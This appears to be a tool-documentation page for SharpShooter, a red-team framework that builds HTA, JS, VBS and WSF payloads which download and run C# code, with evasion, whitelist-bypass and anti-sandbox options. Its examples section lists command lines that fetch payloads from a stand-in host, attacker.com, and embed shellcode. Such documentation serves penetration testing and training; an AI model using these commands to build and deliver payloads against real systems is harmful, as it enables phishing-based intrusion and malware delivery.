SharpShooter
SharpShooter is a payload creation framework for retrieving and executing arbitrary C# source code. It generates payloads in formats including HTA, JS, VBS, and WSF.
Description
SharpShooter is designed for red team operations and penetration testing, enabling the creation of sophisticated payloads that can evade detection. The tool specializes in generating executable C# code through various file formats commonly used in phishing campaigns.
Use cases include crafting stageless payloads, implementing application whitelist bypass techniques, and employing anti-sandbox evasion methods. It's particularly valuable for social engineering attacks where JavaScript, VBScript, or HTA files are delivered to targets.
The framework supports multiple staging techniques via COM objects and .NET versions, making it versatile for different Windows environments. Integration with OffSec's PEN-300 training highlights its role in advanced phishing simulations.
How It Works
SharpShooter generates payloads that download and execute C# source code from remote locations using HTTP/HTTPS or DNS channels. It leverages COM staging (outlook, wmi, wscript), application whitelist bypasses (wmic, regsvr32), and anti-analysis techniques. Payloads are minified and obfuscated, targeting specific .NET versions (2.0 or 4.0) and supporting formats like HTA, JS, VBS, WSF for execution in common Windows interpreters.
Installation
sudo apt install sharpshooterFlags
Examples
sharpshooter -hsharpshooter --stageless --payload hta --output payload.htasharpshooter --dotnetver 4 --payload js --web http://attacker.com/payload.txt --output payload.jssharpshooter --com wmi --payload vbs --output payload.vbssharpshooter --awl wmic --awlurl http://attacker.com/style.xsl --payload jssharpshooter --payload wsf --sandbox basic --output payload.wsfsharpshooter --shellcode --scfile shellcode.bin --payload hta